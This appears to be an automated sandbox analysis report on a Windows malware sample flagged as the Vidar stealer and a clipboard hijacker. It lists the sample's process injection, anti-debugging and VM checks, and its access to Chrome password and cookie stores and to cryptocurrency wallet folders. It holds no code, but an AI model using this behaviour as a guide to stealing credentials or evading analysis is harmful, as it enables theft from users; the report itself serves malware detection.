Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\prs-AF\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\pa-Arab-PK\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\lv\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\gu\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\af\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\fa\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\cs\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\en-GB\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DmiProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\yo-NG\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sr-Cyrl-RS\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\GenericProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\si-LK\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\CompatProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\WimProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ha-Latn-NG\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sr-Cyrl-BA\FileSync.LocalizedResources.dll.mui

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 0_2_0218C71C rdtsc

Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Evaded block: after key decision

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Thread delayed: delay time: 700000

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\

Source: U59WtZz2Sg.exe, 00000005.00000003.442737523.0000000003060000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "VMware7,1
Source: U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000002.309384223.000000000087D000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.385404722.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.574964169.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Z

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 0_2_0040322F LoadLibraryA,GetProcAddress,VirtualProtect,

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 0_2_0218B0A3 push dword ptr fs:[00000030h]

Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 0_2_00405D0D _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 1_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 1_2_00447CAC __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 0_2_0218C71C rdtsc

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 0_2_0040485B __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 0_2_0040A05B SetUnhandledExceptionFilter,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 0_2_00405D0D _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 0_2_004081E1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_004329BB SetUnhandledExceptionFilter,

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Memory written: C:\Users\user\Desktop\U59WtZz2Sg.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Memory written: C:\Users\user\Desktop\U59WtZz2Sg.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Memory written: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Memory written: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Memory written: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Memory written: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\Desktop\U59WtZz2Sg.exe C:\Users\user\Desktop\U59WtZz2Sg.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\Desktop\U59WtZz2Sg.exe "C:\Users\user\Desktop\U59WtZz2Sg.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\Desktop\U59WtZz2Sg.exe "C:\Users\user\Desktop\U59WtZz2Sg.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe --Task
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe "C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe"
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe "C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe"
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Process created: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe "C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe"
Source: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Process created: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe "C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 1_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: GetLocaleInfoA,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: EnumSystemLocalesW,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: GetLocaleInfoW,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,_LcidFromHexString,GetLocaleInfoW,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: EnumSystemLocalesW,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,

Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 1_2_00427756 cpuid

Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 0_2_0040A933 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 1_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 0_2_0040303E BuildCommDCBAndTimeoutsA,CreateMailslotA,GetDriveTypeA,GetCurrentDirectoryW,CallNamedPipeW,MoveFileExW,SearchPathA,GetVersionExA,OpenWaitableTimerA,FindNextVolumeMountPointW,FindNextVolumeMountPointW,ReadConsoleInputA,GetLogicalDriveStringsA,CreateDirectoryExW,FindNextVolumeMountPointW,GlobalLock,GetModuleHandleA,GetWindowsDirectoryW,SetMailslotInfo,CreateFileW,AddConsoleAliasW,IsProcessInJob,GetProcessPriorityBoost,EnumCalendarInfoExA,QueryDosDeviceW,GetConsoleTitleA,FillConsoleOutputAttribute,SetVolumeLabelA,CompareStringW,

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 5.3.U59WtZz2Sg.exe.3060000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.mstsca.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.mstsca.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.build3.exe.b90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.build3.exe.b90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.362157229.0000000003060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build3[1].exe, type: DROPPED

Yara detected Vidar stealer

Source: Yara match	File source: 10.0.build2.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.20d15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.20d15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.347600742.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.350956103.00000000020D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.369240104.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.347031103.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.347942903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.347322735.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\???X
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\???X
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\???X
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\???X
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\???X
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\???X
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\???X
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\???X
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\???X
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\???X
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\???X
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\???X
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
